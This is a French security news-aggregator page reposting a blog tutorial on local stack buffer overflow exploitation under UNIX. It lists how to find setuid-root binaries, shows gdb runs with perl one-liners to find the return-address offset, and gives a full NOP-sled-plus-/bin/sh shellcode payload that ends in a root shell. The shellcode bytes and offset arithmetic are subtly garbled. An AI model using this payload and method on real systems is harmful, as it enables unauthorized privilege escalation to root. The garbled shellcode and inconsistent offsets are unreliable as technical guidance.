|
|
|
Local Stack Overflow Exploitation |
Si vous voulez bloquer ce service sur vos fils RSS
Si vous voulez nous contacter ou nous proposer un fil RSS
Menu > Articles de la revue de presse : - l'ensemble [ tous | francophone] - par mots clé [ tous] - par site [ tous] - le tagwall [ voir] - Top bi-hebdo de la revue de presse [ Voir]
Local Stack Overflow Exploitation Par kmkz's blogLe [2009-05-31] à 19:52:55
Présentation : Comme promis précédemment, voici la suite de l'exploitation des Stack Overflow sous UNIX (en local). Pour les besoins de cet article , un code vulnérable (vuln.c) ,ainsi que notre shellcode seront nécéssaires ( dans le cadre d'une exploitation réelle , veillez a ce que le programme ait bien le suid root . Vous verrez les programmes le possédant en tapant dans le terminal : "find / -type f -perm -04000 " ). ------ Progs. utiles : Prog.Vulnérable le shellcode en hexadécimal Exemple de Proof Of Concept basé sur vuln.c ------ Dans ce code , la taille du Buffer est de 512 octets. Les sauvegardes registres , elles , sont codées en 4 octets (registres de 32 Bits). Les deux arguments de la fonction sont des adresses de buffer codées elles aussi a 4 octets. On peu donc en déduire que si nous arrivons a écrire 4 octets supplémentaires sur la taille du buffer on écrasera alors les 4 octets d' EBP . Et si on écrit 4 octets de plus on devrait arrivé a écraser EIP , ainsi , la valeur que l'on aura défini et qui écrasera EIP sera POP dans la pile et, donc lorsque le programme effectura un JUMP , il le fera sur cette valeur la . Bon , maintenant , il faut tester le buffer afin de voir a quel moment nous écraserons suffisament la pile ( ne pas oublié: on doit écraser EIP de façon a ce que le programme pointe sur l'adresse exacte en mémoire du début de notre shellcode ,afin d'exécuter le code injecté) . Testons : (gdb) r `perl -e 'print "A" x512 . "AAAA" . "DCBA"' ` Résultat: Program received signal SIGSEGV, Segmentation fault. 0x8048400 in main () (gdb) # 1er test ici au départ 512 octets ce qui est insuffisant (gdb) r `perl -e 'print "A" x514 . "AAAA" . "DCBA"' ` Résultat: Program received signal SIGSEGV, Segmentation fault. 0x8004142 in ?? () (gdb) # 2eme test on commence écraser EIP a 514 (0x08004142) On en déduit donc qu'avec 2 octets de plus donc "A" x516 ( soit 4 au total) , on doit arriver a 0x41424344 soit DCBA , la représentation en hexadécimal de DCBA . (gdb) r `perl -e 'print "A" x516 . "AAAA" . "DCBA"' ` Résultat: Program received signal SIGSEGV, Segmentation fault. 0x41424344 in ?? () (gdb) Notre objectif , je le rappelle est de faire JUMPER le programme sur notre code ASM injecté en mémoire afin d'exécuter un /bin/sh . Le meilleur moyen d'y parvenir est de placer le code arbitraire en argument de l'exécutable pour le placer dans le buffer qui subira le débordement de tampon. On écrase donc EIP avec l'adresse du début du shellcode pour avoir un shell (/bin/sh) root . Pour écraser EIP on envoi 516 octets +2 octets pour arriver au début de notre shellcode soit = "A" x518 , puis ABCD = total de 522 Octets. Donc pour arriver avant EIP, il faut 518 octets car au-dela , nous l'écraseront. En utilisera donc des NOP ( ne fait rien) jusqu'a ce que le shellcode soit exécuté. = Nous exécutons donc : A x 154 + 340 NOP (0x90 ou x90) + 24 octets du shellcode + octet pour EIP = 522 Octets . On arrive alors a faire pointer ESP sur le début du shellcode a exécuter. RAPPEL : l'écrasement d'un registre (EIP , EBP ..) se fait par groupe de 4 Octets . On exécute le shellcode suivant : (gdb) r `perl -e 'print "A" x156 . "x90" x340 . "x31xCOx99x50x68x2Fx2Fx73x68x68x2Fx62x69x6Ex89xE3x50x53x89xE1xBOxOBxCDx80". "DCBA" '` Puis , nous regardons ce qui se trouve dans EIP. Nous choisissons une adresse se situant parmis les NOP (par exemple : 0xbfa412f0) Enfin , a la place de DCBA , on mettra: "xf0x12xa4xbf" (ce qui par la suite deviendra: " x08xf3xffxbf") Cet offset ajouter a notre Shelcode donnera donc : (gdb) r `perl -e 'print "A" x156 . "x90" x340 . "x31xCOx99x50x68x2Fx2Fx73x68x68x2Fx62x69x6Ex89xE3x50x53x89xE1xBOxOBxCDx80". "x08xf3xffxbf" ' ` sh-3.1# Bingo ! Nous avons obtenu notre shell root alors que le programme lui , a été lancé en utilisateur . Voila , nous désormais , nous en savons un peu plus sur les Stack Overflow . Remerciments encore a FaSm pour son zine "Prog!" et ses tutos sur l'asm et les shellcodes . []
Les mots clés de la revue de presse pour cet article : local overflow Les videos sur SecuObs pour les mots clés : local overflow Les éléments de la revue Twitter pour les mots clé : local overflow
Les derniers articles du site "kmkz's blog" :
- Scite Text Editor 1.76 PoC Local BoF vulnerability 0 - Days - Manifeste pour la création d'une organisation hacker en France - Au commencement .... - Utilisations avancées de Hping2 - Shellcode et Port Binder en ASM x86 32 Bits - Local Stack Overflow Exploitation - Création d'un meeting 2600 a Nimes 30 - Win. XP patched Local Privilèges Escalation - Initiation aux bases du Reversing - Return Into Libc
Menu > Articles de la revue de presse : - l'ensemble [ tous | francophone] - par mots clé [ tous] - par site [ tous] - le tagwall [ voir] - Top bi-hebdo de la revue de presse [ Voir]
Si vous voulez bloquer ce service sur vos fils RSS :
- avec iptables "iptables -A INPUT -s 88.191.75.173 --dport 80 -j DROP"
- avec ipfw et wipfw "ipfw add deny from 88.191.75.173 to any 80"
- Nous contacter par mail
| Mini-Tagwall des articles publiés sur SecuObs : | | | | sécurité, exploit, windows, attaque, outil, microsoft, réseau, audit, metasploit, vulnérabilité, système, virus, internet, usbsploit, données, source, linux, protocol, présentation, scanne, réseaux, scanner, bluetooth, conférence, reverse, shell, meterpreter, vista, rootkit, détection, mobile, security, malicieux, engineering, téléphone, paquet, trames, https, noyau, utilisant, intel, wishmaster, google, sysun, libre |
| Mini-Tagwall de l'annuaire video : | | | | curit, security, biomet, metasploit, biometric, cking, password, windows, botnet, defcon, tutorial, crypt, xploit, exploit, lockpicking, linux, attack, wireshark, vmware, rootkit, conference, network, shmoocon, backtrack, virus, conficker, elcom, etter, elcomsoft, server, meterpreter, openvpn, ettercap, openbs, iphone, shell, openbsd, iptables, securitytube, deepsec, source, office, systm, openssh, radio |
| Mini-Tagwall des articles de la revue de presse : | | | | security, microsoft, windows, hacker, attack, network, vulnerability, google, exploit, malware, internet, remote, iphone, server, inject, patch, apple, twitter, mobile, virus, ebook, facebook, vulnérabilité, crypt, source, linux, password, intel, research, virtual, phish, access, tutorial, trojan, social, privacy, firefox, adobe, overflow, office, cisco, conficker, botnet, pirate, sécurité |
| Mini-Tagwall des Tweets de la revue Twitter : | | | | security, linux, botnet, attack, metasploit, cisco, defcon, phish, exploit, google, inject, server, firewall, network, twitter, vmware, windows, microsoft, compliance, vulnerability, python, engineering, source, kernel, crypt, social, overflow, nessus, crack, hacker, virus, iphone, patch, virtual, javascript, malware, conficker, pentest, research, email, password, adobe, apache, proxy, backtrack |
|
|
|
|
|